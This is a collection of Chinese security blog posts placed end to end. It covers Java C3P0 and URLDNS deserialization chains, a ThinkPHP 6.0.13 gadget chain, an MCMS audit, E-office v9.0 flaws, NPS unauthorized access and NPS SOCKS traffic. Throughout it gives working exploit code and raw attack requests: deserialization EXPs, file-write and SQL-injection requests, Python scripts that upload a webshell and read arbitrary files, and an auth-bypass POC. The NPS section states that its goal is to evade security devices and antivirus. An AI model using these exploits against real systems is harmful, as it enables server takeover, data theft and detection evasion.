属性是空的,要想进行反序列化操作,必须先给其赋值。理论上来说,要想解析 userOverridesAsString 属性,至少需要调用两次构造函数。 我们来调试看一下 断点依旧是同一个位置,开始调试  惊奇的发现,userOverrideAsString 一开始为 null,但是经过一轮之后,变成了 hex;这到底是为什么呢?我们可以去到 WrapperConnectionPoolDataSourceBase#setUserOverridesAsString 里面去看一看  不妨在这个地方下个断点,然后调试一下。 师傅们调试的时候会发现,这个  setUserOverridesAsString() 的运行逻辑大致是这样的,首先把之前为 null 的 userOverridesAsString 赋值给 oldVal,接着判断这两个是否相等,或者是否都为 null,如果不满足这个条件,就把新的值赋给 userOverridesAsString,如图  后续的过程和前面一样,就不再分析了。 0x04 C3P0 链子的不出网利用 这一种攻击方式是向https://goodapple.top/archives/1749学到的 不论是 URLClassLoader 加载远程类,还是 JNDI 注入,都需要目标机器能够出网。 而加载 Hex 字符串的方式虽然不用出网,但却有 Fastjson 等的相关依赖。那么如果目标机器不出网,又没有 Fastjson 依赖的话,C3P0 链又该如何利用呢? 关于 Java 的链子,如何不出网利用一直是一个很有趣的话题,也是很有意思的攻击面。 在 Jndi 高版本利用中,我们可以加载本地的 Factory 类进行攻击,而利用条件之一就是该工厂类至少存在一个 getObjectInstance() 方法。比如通过加载 Tomcat8 中的 org.apache.naming.factory.BeanFactory 进行 EL 表达式注入;关于 EL 表达式注入可以看这篇 https://drun1baby.github.io/2022/09/23/Java-%E4%B9%8B-EL-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/ 先导入依赖 <dependency>       <groupId>org.apache.tomcat</groupId>       <artifactId>tomcat-catalina</artifactId>       <version>8.5.0</version>   </dependency>   <dependency>       <groupId>org.apache.tomcat.embed</groupId>       <artifactId>tomcat-embed-el</artifactId>       <version>8.5.15</version>   </dependency> C3P0 链子的不出网利用分析与 EXP 已经确定是想通过 EL 表达式注入的方式攻击了,我们需要先选择攻击的链子。 Jndi 的链子比较难,限制非常多,而且是不出网的利用,所以 pass 了; URLClassLoader 的链子是可行的,只需要我们把之前 URLClassLoader 的 EXP 进行一些修改即可。 HexBase 的链子也是不可行的,因为它是基于 Fastjson 的一条链子。 EXP 如下 package NoNetUsing;      import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;   import org.apache.naming.ResourceRef;      import javax.naming.NamingException;   import javax.naming.Reference;   import javax.naming.Referenceable;   import javax.naming.StringRefAddr;   import javax.sql.ConnectionPoolDataSource;   import javax.sql.PooledConnection;   import java.io.*;   import java.lang.reflect.Field;   import java.sql.SQLException;   import java.sql.SQLFeatureNotSupportedException;   import java.util.logging.Logger;      public class NoAccessEXP {          public static class Loader_Ref implements ConnectionPoolDataSource, Referenceable {              @Override    public Reference getReference() throws NamingException {               ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);               resourceRef.add(new StringRefAddr("forceString", "faster=eval"));               resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));               return resourceRef;           }              @Override    public PooledConnection getPooledConnection() throws SQLException {               return null;           }              @Override    public PooledConnection getPooledConnection(String user, String password) throws SQLException {               return null;           }              @Override    public PrintWriter getLogWriter() throws SQLException {               return null;           }              @Override    public void setLogWriter(PrintWriter out) throws SQLException {              }              @Override    public void setLoginTimeout(int seconds) throws SQLException {              }              @Override    public int getLoginTimeout() throws SQLException {               return 0;           }              @Override    public Logger getParentLogger() throws SQLFeatureNotSupportedException {               return null;           }       }          //序列化    public static void serialize(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {           //反射修改connectionPoolDataSource属性值    PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);           Class cls = poolBackedDataSourceBase.getClass();           Field field = cls.getDeclaredField("connectionPoolDataSource");           field.setAccessible(true);           field.set(poolBackedDataSourceBase,c);              //序列化流写入文件    FileOutputStream fos = new FileOutputStream(new File("ser.bin"));           ObjectOutputStream oos = new ObjectOutputStream(fos);           oos.writeObject(poolBackedDataSourceBase);          }          //反序列化    public static void unserialize() throws IOException, ClassNotFoundException {           FileInputStream fis = new FileInputStream(new File("ser.bin"));           ObjectInputStream objectInputStream = new ObjectInputStream(fis);           objectInputStream.readObject();       }          public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {           Loader_Ref loader_ref = new Loader_Ref();           serialize(loader_ref);           unserialize();       }   } 把原来 URLClassLoader 的地方修改成 EL 表达式的命令执行即可。 C3P0 链子的不出网利用调试 简单调试理解一下。 先把断点下在 BeanFactory 的 getObjectInstance() 方法下,因为这里是一定被调用到的。  此处,我们可以看到之前的调用链,如图  我们去到 readObject() 方法的地方加一个断点,再重新跑一遍,简单调试一下,我们就可以看到这是一个 URLClassLoader 的链子。   此处进行了命令执行的操作  0x05 小结 C3P0 这条链子分析起来还是不难,建议师傅们可以动手去尝试一个个类看一下,看哪里可能会存在有漏洞。 同时 C3P0 链的价值也是非常高的,C3P0 的包在实战环境中除CommonsCollections、CommonsBeanutiles 以外遇到最多的 JAR 包,其中一部分 C3P0 是被 org.quartz-scheduler:quartz 所依赖进来的。 关于前文提到的 "误打误撞看到的一处伪 JNDI 注入,失败告终",后续文章会仔细讲这一片段。
ThinkPHP6.0.13反序列化漏洞分析
1. 前言 最近有点闲下来了,不找点事干比较难受,打算找点漏洞分析一下,于是就打算看看TP的一些漏洞,ThinkPHP6.0.13是TP的最新版,八月份有师傅提交了一个issue指出TP存在反序列化问题,网上也有些师傅分析了一波,不过断点下的比较多,而且部分方法没有阐明其用途,所以我也尝试详细的分析一波。下面先给出POC 2. 分析 首先看看POC的起始点 发现起始点在Psr6Cache这个类,我们进入这个类,不过没有发现__destruct或者__wakeup等常见的反序列化起始魔术方法,推测应该在其父类AbstractCache这个抽象类中。跟入AbstractCache类 如图,成功发现本次反序列化链子的起始类。这里我们可以控制autosave这个属性为false,从而进入save方法。 回到Psr6Cache类查看这个方法 可以发现,pool属性和key属性我们都可控。因此可能存在两种路线,调用不同类的同名方法(getItem)。或者是直接尝试触发__call方法。我们来看看POC作者是怎么让反序列化进行下去的。 作者用构造方法传入了exp,exp其实就是在实例化Channel类。我们进入Channel类查看 Channel类中有一个__call方法,那么作者是选择触发__call来让链子继续下去。这个call方法接受了两个参数,method是写死的(getItem),parameters是可控的(即前面可控的key属性) 跟入log方法查看,其接受三个传参(但是其实对后续的链子没啥用),传入record方法 跟入record方法 再返回查看作者的POC,发现其控制lazy属性为false,让函数进入最后一个if分支执行save方法 那么save方法应该是比较关键的方法了,跟入save方法,这里面有三个可能被利用的点,作者选择了哪一个呢? 根据POC不难发现作者选择了控制logger属性,利用构造函数对其赋值,令其为Socket类的对象 在这个类中,我们找到了一个复杂的同名方法,其中有大量的操作。 我们继续来看作者是怎么构造的,作者控制config属性,给其赋值为数组。数组有如下内容 关键在于这两个键值,作者控制config,让程序运行到调用invoke方法的分支 同时,app属性可控,作者令app属性为App类的对象,我们进入App类 这里先看看App类的的exists方法的情况,在其父类中找到了这个方法 继续往后,这里对App类进行了唯一一个操作,控制了instances属性的值。这里控制其值是为了进入Request类,并且执行url方法 作者在这里对Request类做出唯一的操纵,就是控制url属性的值。可以看出,如果url属性存在,那么就会进入第一个分支,其值等于本身。 同时又注意到,complete我们之前传入的是true。因此最终返回的结果就是$this->domain().$url,url我们已经控制了,那么domain方法返回什么呢? OK,这点我们就不用看了。分析了这么多,我们得到了$currentUri最后的值,就是: http://localhost/<?php system(\'calc\'); exit(); ?> currentUri作为一个数组被传入invoke了,根据链子的长度,达到invoke,我们的反序列化之旅就快结束了 查看invoke,App类找不到这个方法,在他的父类里找到了这个方法 这里可以看到。这个函数内有三分支走向,那么最终会走向哪里呢?根据我们之前$config[‘format_head’]的传入, 首先我们传入的这个对象不是Closure的实例或者子类,并且也不满足第二个分支的条件 因此进入到到第三个分支。我们跟进invokeMethod()方法。这里传入的$callabel就是[new \think\view\driver\Php,'display']、而$vars就是[‘http://localhost/<?php system(\'calc\'); exit(); ?>’]  注意,我们传入的$method是数组,因此进入第一个分支。把new \think\view\driver\Php (即对象)赋值给$class,’display’(即方法名)赋值给新的$method。 然后下面进行了一个判断,如果$class是对象,那么其值就为它本身,因为我们传入的是对象,所以这里没什么变化。然后进入最关键的代码 可以看到,把对象new \think\view\driver\Php 以及方法 display传入了ReflectionMethod。  在最后,调用invokeArgs方法,传入了new \think\view\driver\Php对象,同时传入了$args  那么args是什么呢? 我们跟入之后发现是一个处理函数,因为本人比较懒,而且到这都快分析完了,就不去硬读了,直接给结论,总之我们传入的 $vars ,也即 [‘http://localhost/<?php system(\'calc\'); exit(); ?>’] 其中的关键部分<?php system(\'calc\'); exit(); ?>保留了下来,并且进入到了后续的传参中 继续往后看,对于这个函数(invokeArgs),可以简单的类比call_user_func(),因此最后的关键代码其实只有这两行 也即 $reflect = new ReflectionMethod(new \think\view\driver\Php,’display’); return $reflect->invokeArgs(new \think\view\driver\Php,’ <?php system(\'calc\'); exit(); ?>’) 常看tp反序列化的朋友就知道,已经结束咧!毕竟调用display方法了。但是上述这个调用ReflectionMethod类的操作到底是什么呢?我们可以借助如下实例来演示。所以说这玩意和call_user_func很像 最后是display方法,没什么好说的了,content传入display方法中,eval执行命令了 3. 结语 TP的链子一如既往的有意思(以及复杂),特别是最后的ReflectionMethod类的用法上,如果不了解这个类以及类中的方法组合可以实现类似call_user_func函数的作用的话,那么就很容易错过这样一个精彩的漏洞。
记一次MCMS的审计之路
MCMS 是 J2EE 系统,完整开源的Java CMS,基于SpringBoot 2架构,前端基于vue、element ui。为开发者提供上百套免费模板,同时提供适用的插件(文章、商城、微信、论坛、会员、评论、支付、积分、工作流、任务调度等...),一套简单好用的开源系统、一整套优质的开源生态内容体系。   十天前 MCMS 更新了新的一版本 5.2.9 提示新版本进行了 SQL 安全方面的优化,所以我们尝试 审计 https://gitee.com/mingSoft/MCMS/archive/refs/tags/5.2.8.zip 环境搭建   我们下载好安装包后 利用 idea 打开项目 创建数据库 mcms,导入 doc/mcms-5.2.8.sql 修改 src/main/resources/application-dev.yml 中关于数据库设置参数 运行MSApplication.java main方法 利用账户名:密码 msopen:msopen 登录后台 http://localhost:8080/ms/login.do 进入后台点击内容管理->静态化菜单 -> 生成主页、生成栏目、生成文章   启动的时候会有一点小 bug 需要在 idea 中配置   运行成功后,页面如图所示 前台反射型 XSS 漏洞复现   ‍    漏洞分析   我们看到运行后的控制台输出为   我们找到 net.mingsoft.basic.filter.XssHttpServletRequestWrapper 并添加断点,再次触发漏洞,看到一个完整的调用栈,   net.mingsoft.basic.filter.XssHttpServletRequestWrapper#clean(java.lang.String, java.lang.String)   ‍ 后台命令执行一 漏洞复现   后台有一个可以上传模板文件的位置   我们上传文件并抓取数据包   ‍   我们看到数据包中的参数 uploadPath 指定了上传的位置,最后返回了上传后的路径以及文件内容   通过修改 参数 uploadPath 的值,我们就可以将文件上传 webapp 的任意目录下   我们写一个 1.txt 进行验证 POST /ms/file/uploadTemplate.do HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Content-Length: 506 Accept: */* Accept-Encoding: identity Accept-Language: zh-CN,zh;q=0.9 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz3nUf5Hws24R3B3A Cookie: Origin: http://localhost:8080 Referer: http://localhost:8080/ms/template/list.do?template=1/default Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" ------WebKitFormBoundaryz3nUf5Hws24R3B3A Content-Disposition: form-data; name="uploadPath" / ------WebKitFormBoundaryz3nUf5Hws24R3B3A Content-Disposition: form-data; name="uploadFloderPath" true ------WebKitFormBoundaryz3nUf5Hws24R3B3A Content-Disposition: form-data; name="rename" false ------WebKitFormBoundaryz3nUf5Hws24R3B3A Content-Disposition: form-data; name="file"; filename="1.txt" Content-Type: text/html test ------WebKitFormBoundaryz3nUf5Hws24R3B3A-- 漏洞分析   通过路由 /ms/file/uploadTemplate 定位到代码位置   net.mingsoft.basic.action.ManageFileAction#uploadTemplate   我们看到虽然存在非法路径过滤函数,查看函数内容,仅仅是对 ../ 进行了校验,通过绝对路径仍然可以绕过   net.mingsoft.basic.action.ManageFileAction#checkUploadPath   net.mingsoft.basic.action.BaseFileAction#uploadTemplate 后台命令执行二 漏洞复现   我们看到除了上传模板的接口,还存在编辑模板的接口   点击编辑,编辑后保存并抓取数据包   原本的数据包   我们看到参数 fileName 通过绝对路径指定了文件名,所以我们可以通过修改 fileName 来实现绝对路径写入 漏洞分析   net.mingsoft.basic.action.TemplateAction#writeFileContent   我们看到对文件的后缀名进行了检验,但还是通过传入的参数 fileName 写入文件   ‍ 后台命令执行三 漏洞复现   构造数据包 POST /ms/file/upload.do HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Content-Length: 506 Accept: */* Accept-Encoding: identity Accept-Language: zh-CN,zh;q=0.9 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz3nUf5Hws24R3B3A Cookie: Origin: http://localhost:8080 Referer: http://localhost:8080/ms/template/list.do?template=1/default Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" ------WebKitFormBoundaryz3nUf5Hws24R3B3A Content-Disposition: form-data; name="uploadPath" / ------WebKitFormBoundaryz3nUf5Hws24R3B3A Content-Disposition: form-data; name="uploadFloderPath" true ------WebKitFormBoundaryz3nUf5Hws24R3B3A Content-Disposition: form-data; name="rename" false ------WebKitFormBoundaryz3nUf5Hws24R3B3A Content-Disposition: form-data; name="file"; filename="3.txt" Content-Type: text/html test ------WebKitFormBoundaryz3nUf5Hws24R3B3A--   返回上传成功的文件的地址   ‍ 漏洞分析   这个漏洞是在第一个后台命令执行的基础上发现的,两个类位于同一个文件内   net.mingsoft.basic.action.ManageFileAction#upload   虽然存在非法路径过滤函数 checkUploadPath ,查看函数内容,仅仅是对 ../ 进行了校验,通过绝对路径仍然可以绕过   对文件的上传是利用了   net.mingsoft.basic.action.BaseFileAction#upload   存在很多过滤,但是还是可以成功上传文件   ‍ 后台 SQL 注入漏洞   ‍ 漏洞复现   构造数据包 GET /ms/mdiy/page/verify.do?fieldName=1;select/**/if(substring((select/**/database()),1,4)='mcms',sleep(5),1)/**/and/**/1&fieldValue=1&id=1&idName=1 HTTP/1.1 Host: localhost:8080 Accept: application/json, text/plain, */* Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cache-Control: no-cache Cookie: Pragma: no-cache Referer: http://localhost:8080/ms/model/index.do? Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 X-Requested-With: XMLHttpRequest sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" token: null   发现成功使得服务器沉睡五秒 漏洞分析   net.mingsoft.mdiy.action.PageAction#verify   获取参数并传到方法 validated   net.mingsoft.basic.action.BaseAction#validated(java.lang.String, java.lang.String, java.lang.String)   将 fieldName 和 fieldValue 的传入到 where 参数中   net.mingsoft.base.biz.impl.BaseBizImpl#queryBySQL(java.lang.String, java.util.List, java.util.Map)      net.mingsoft.base.dao.IBaseDao#queryBySQL   因为是 mybits 所以未采用预编译的 ${ 就容易产生注入   ‍ 后台 SQL 注入二 漏洞复现   登录后台后我们找到自定义模型的位置   根据代码生成器 生成一个自定义模型 json 并导入保存   点击删除时 抓取数据包   修改modelTableName   发现成功使得服务器沉睡五秒 漏洞分析   net.mingsoft.mdiy.action.ModelAction#delete   net.mingsoft.base.biz.impl.BaseBizImpl#dropTable      net.mingsoft.base.dao.IBaseDao   ‍   查看dropTable对应的mapper内容如下,直接将table内容进行拼接且未预编译,造成SQL注入。
E-office Server_v9.0 漏洞分析
漏洞简介   泛微e-office是一款标准化的协同OA办公软件,实行通用化产品设计,充分贴合企业管理需求,本着简洁易用、高效智能的原则,为企业快速打造移动化、无纸化、数字化的办公平台。由于泛微 E-Office 未能正确处理上传模块中输入的数据,未授权的攻击者可以构造恶意数据包发送给服务器,实现任意文件上传,并且获得服务器的webshell,成功利用该漏洞可以获取服务器控制权。未授权的攻击者可以构造恶意的数据包,读取服务器上的任意文件   漏洞影响范围 E-office Server_v9.0   默认安装位置是 d:\eoffice 在虚拟机内安装没有 D 盘,所以安装位置是 c:\eoffice   安装完成后,服务默认在 8082 端口 通过主机名 或 ip 地址都可以访问到   代码位置在 C:\eoffice\webroot 同样代码也是被加密了的   通过免费的解密网站获得了加密的具体信息 ZEND加密PHP5.2版本 http://www.phpjm.cc/   利用工具进行批量的解密,因为工具点击一次只能进行一次解密,所以利用模拟点击的工具进行模拟点击 https://github.com/taojy123/KeymouseGo 任意文件上传漏洞 漏洞利用   /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=   ‍ POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1 Host: 10.0.21.14:8082 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryykJoMlQs3JMOsgi3 Content-Length: 175 ------WebKitFormBoundaryykJoMlQs3JMOsgi3 Content-Disposition: form-data; name="Filedata"; filename="1.php" <?php phpinfo();?> ------WebKitFormBoundaryykJoMlQs3JMOsgi3--   上传文件的地址 http://10.0.21.14:8082/images/logo/logo-eoffice.php 漏洞分析   漏洞的主要位于 general/index/UploadFile.php   通过 $_GET 方法获取的参数 m,调用 UploadFile 中的任意方法   我们选择其中的 uploadPicture 方法   没有对传入的文件进行过滤,如果传入一个 php 文件,命名为 1.php 最后上传文件会变为 logo-eoffice.php 传入的位置是$_SERVER['DOCUMENT_ROOT']."/images/logo/" 利用脚本 import sys import requests def request_shell(url):    targeturl = url + "/images/logo/logo-eoffice.php"    response = requests.get(targeturl)    if(response.status_code == 200):        print("获取 shell 成功,shell地址为:"+targeturl) def request_upload(url,data):    targeturl = url + "/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId="    targetfile = {'Filedata':('upload.php',data,'text/plain')}    response = requests.post(url = targeturl, files = targetfile)    if(response.status_code == 200):        print("上传成功")   def read_uploadfile(url,filename):    with open(filename) as f:        data = f.read()    request_upload(url,data) def upload_file(url,filename):    if (filename == "phpinfo.php"):        data = "<?php phpinfo(); ?>"        request_upload(url,data)    else:        read_uploadfile(url,filename) def main():    if len(sys.argv) < 3:        print("Usage: upload_file.py targeturl filename\n"              "Example: python upload_file.py http://10.0.21.14:8082 phpinfo.php")        exit()    url = sys.argv[1]    filename = sys.argv[2]    upload_file(url,filename)    request_shell(url) if __name__ == '__main__':    main() 任意文件下载漏洞 漏洞利用   ‍ GET /inc/attach.php?path=/../../../../../1.txt HTTP/1.1 Host: 10.0.21.14:8082 Origin: http://10.0.21.14:8082 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close   ‍   ‍ 漏洞分析   inc/attach.php   ‍   直接传入参数 $path 最后会读取 $path 的内容并将结果返回出来,我们注意到利用未授权就可将文件下载下来,从代码层面并没有看出来原因,但是通过浏览器直接访问时无法访问到,进行了 302 跳转,通过 burpsuite 就可以访问到,攥写脚本禁止 302 跳转也可以读取出来。   漏洞的主要来源位于   我们看一下文件的下载链接 利用脚本 import sys import requests import re def save_reponse(re_result,filename):    filename=re.findall("[^/]+quot;,filename)[0]    # print(filename)    with open(filename, 'w',encoding='gb18030') as f:        f.write(re_result) def re_response(response):    re_result = response[1507:]    return re_result   def read_file(url,filename):    targeturl = url + "/inc/attach.php?path="+filename    response = requests.get(url = targeturl, allow_redirects=False)    # print(response.text)    re_result = re_response(response.text)    print(re_result)    save_reponse(re_result,filename) def main():    if len(sys.argv) < 3:        print("Usage: upload_file.py targeturl filename\n"              "Example: python read_file.py http://10.0.21.14:8082 attach.php")        exit()    url = sys.argv[1]    filename = sys.argv[2]    read_file(url,filename) if __name__ == '__main__':    main()   还有一些 SQL 注入漏洞,还可以继续进一步的进行审计分析。
NPS之Socks流量分析以及未授权复现
前言 因为想要写一个socks的流量算法去绕过安全设备,所以这里对nps的流量特征总结一下,方便自己后期的魔改。 环境 ubuntu 16.04 vps server windows server 2012R2 clinet mkdir nps cd nps wget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz tar -zxvf linux_amd64_server.tar.gz ./nps install cd /etc/nps/conf/ vim nps.conf 配置文件 #web web_host=a.o.com web_username=xxxx   //管理端用户名 web_password=xxxxxx //管理端密码 web_port = xxxxx     //管理端端口 web_ip=0.0.0.0 web_base_url= web_open_ssl=false web_cert_file=conf/server.pem web_key_file=conf/server.key #web_base_url=/nps ##bridge bridge_type=tcp   //客户端连接协议tcp bridge_port=xxxx //客户端连接端口 bridge_ip=0.0.0.0 bridge_port的默认端口默认为8024,这里不建议改为默认的,连接客户端的时候可能会触发安全设备规则 NPS未授权复现 POC #encoding=utf-8 import time import hashlib now = time.time() m = hashlib.md5() m.update(str(int(now)).encode("utf8")) auth_key = m.hexdigest() print("Index/Index?auth_key=%s&timestamp=%s" % (auth_key,int(now)) 直接访问 http://vps:port?payload exp请求接口 POST /client/list HTTP/1.1 Host: vps:port User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: 98 Origin: http://vps:port Connection: close Referer: http://vps:port/client/list search=&order=asc&offset=0&limit=10&auth_key=805df7d1f7bf3b662939ca091174e6b4&timestamp=1659948547 参考链接: https://mp.weixin.qq.com/s/PTq01wcV4XJwutbSjHjfvA修复措施 vim /etc/nps/conf/nps.conf取消注释auth_key,添加auth_crypt_key`注释 auth_key=test#auth_crypt_key =!QAZ4rfv%TGB^YHN 修改为 auth_key=test#auth_crypt_key =!QAZ4rfv%TGB^YHN 目前最新版本的也存在改配置不当问题,这里需要修改配置,修复之后是无法通过未授权读取内容信息的。 socks流量分析 nps start 访问http://vps:port/login 新增客户端 这里用户名和密码随意,这里是客户端登录的认证用户名,在客户端连接的时候是根据密钥来实现的。 客户端选择windwos server 2012R2 修改客户端配置文件 [common] server_addr=vps:port conn_type=tcp vkey=xxxx auto_reconnection=true max_conn=1000 flow_limit=1000 rate_limit=1000 basic_username=11 basic_password=3 web_username=xxxx     web_password=xxxxx crypt=true compress=true #pprof_addr=0.0.0.0:9999 disconnect_timeout=60 客户端启动 npc.exe -server=vps:port -vkey=xxxxx -type=tcp 正常情况下会报毒,所以这里针对杀软这一块儿,客户端需要做一下免杀处理。 查看连接状态 使用goby测试socks5 测试代理 已成功实现内网穿透。 这里使用wireshark抓取流量包, 初始流量服务器向客户端发送TST 同时客户端向服务端确认版本,同时返回客户端版本0.26.0 代码位置nps/lib/version/version.go 服务端接收到请求后,客户端请求的数据内容为nps的版本为0.26.10 服务端接收到请求后返回给客户端服务端版本的md5值,即 md5(0.26.0)=89a4f3fc3c89257d6f712de6964bda8e 可以发现在产生nps客户端连接的时候,会产生数据校验,这里数据校验就是有服务器到 这是客户端传输给服务端密钥连接 md5(vkey) 服务端在接收到客户端的请求后校验数据后返回success 这里客户端和服务端的连接流量就比较清晰了,那么想要bypass安全设备的告警,在修改加密方式和修改版本关键字即可,因为在做流量隐藏的时候跟bypassav不一样,不会考虑文件的哈希以及文件在沙箱中的落地状态。
实例解析Java反射
反射是大多数语言里都必不不可少的组成部分,对象可以通过反射获取他的类,类可以通过反射拿到所有方法(包括私有),拿到的方法可以调用,总之通过“反射”,我们可以将Java这种静态语言附加上动态特性。 什么是反射 java的反射是指在运行状态中,对于任意一个类都能够知道这个类所有的属性和方法,并且对于任意一个对象。 基本形式 public void execute(String className, String methodName) throws Exception { Class clazz = Class.forName(className); clazz.getMethod(methodName).invoke(clazz.newInstance()); } 上面的例子中,我演示了几个在反射里极为重要的方法:获取类的方法: forName实例例化类对象的方法: newInstance获取函数的方法: getMethod执行函数的方法: invoke 反射的作用: 让Java具有动态性,修改已有对象的属性,动态生成对象,动态调用方法,操作内部类和私有方法 在反序列化漏洞中的应用 定制需要的对象,通过invoke调用除了同名函数以外的函数,通过class类创建对象,引入不能序列化的类 java反射举例 此处引用白日梦组长的例子,具体讲解一下反射。 先写一个Person作为我们下面演示的原型类 public class Person {   private String name;   public int age;   public void act(){       System.out.println("test");   }   @Override   public String toString() {       return "Persion{" +               "name='" + name + '\'' +               ", age=" + age +               '}';   }   public String getName() {       return name;   }   public void setName(String name) {       this.name = name;   }   public int getAge() {       return age;   }   public void setAge(int age) {       this.age = age;   }   public Person() {   }   public Person(String name, int age) {       this.name = name;       this.age = age;   } } 获取原型类 使用forName方法 Class c = Class.forName("Person"); 在此也写一种基于ClassLoader的动态类加载方式 this.getClass().getClassLoader().loadClass("Person"); 从原型class里面实例化对象 利用构造函数实例化 Constructor constructor = c.getConstructor(String.class,int.class); Person p1 = (Person) constructor.newInstance("abc",22); 我们来逐行写一下分析 Constructor constructor = c.getConstructor(String.class,int.class); 这一行是为了获取原型类中重载的构造方法 public Person(String name, int age) { this.name = name; this.age = age; } 对构造方法进行传参实例化一个对象 Person p1 = (Person) constructor.newInstance("abc",22); 我们可以打印一下p1看一下返回结果 获取类里面的属性 private String name; public int age; public Field ageField = c.getField("age"); ageField.set(p1,11); private Field nameField = c.getDeclaredField("name"); nameField.setAccessible(true); nameField.set(p1,"xinyuan"); 获取类方法 Method actmethod = c.getMethod("act",String.class); actmethod.invoke(p1,"SKyMirror"); getMethod 与上面的获取构造函数类似,第一个参数是函数名,第二个是传参的类型 invoke方法第一个传入对象,第二个是传入参数值 利用URLDNS(反射) 这条链子算是反射的一个简单应用。 利用点 URL这个类重写了hashCode方法,导致在执行hashCode的时候,此利用点不能命令执行,但是会请求DNS,所以被用来验证是否存在反序列化漏洞。 源码如下: 可以看到当我们调用一次hashCode方法,他会对传进去的URL对象发起请求,即我们如果去DNSLOG申请一个地址,根据访问来判断是否成功执行了hashCode方法进而判断是否执行了反序列化的操作。 URL这个类实现了java.io.Serializable,可以进行序列化的操作。 因此,在这里我们可以验证一下我们上面的想法。 链子 这个链子也比较短,比较简单,主要是利用HashMap来执行hashCode方法 HashMap实现了Serializable可以序列化,此处注意反序列化时HashMap的readObject方法 我们跟进一下hash方法 key参数可控,key又是由反序列化的时候生成的。在HashMap中用put传入一个URL的对象,即可在反序列化的时候调用到此方法,从而触发整个链子。 有一点需要注意,我们在序列化的时候,进行的put传参会修改掉传入的URL对象的hashCode的值,因为hashCode值不等于-1,从而导致无法正常触发下面的方法,即无法触发DNS请求。 同时在正常put传参的时候会执行一次DNS请求,所以我们在put传参之前修改hashCode的值(不为-1就行),传参之后修改hashCode为-1,在反序列化的时候就可以正常执行了。 payload如下 public static void main(String[] args) throws Exception{ HashMap <URL,Integer> hashMap = new HashMap<>(); URL u = new URL("http://i2loelbsvarbmabqf89qi9k88zep2e.burpcollaborator.net/"); Class c = u.getClass(); //在进行put方法传参之前修改URL对象的hashCode值 Field hashcodeField = c.getDeclaredField("hashCode"); hashcodeField.setAccessible(true); hashcodeField.set(u,123); hashMap.put(u,123); //修改URL对象的hashCode值为-1 hashcodeField.set(u,-1); serialize(hashMap); }
Java反序列化之原生
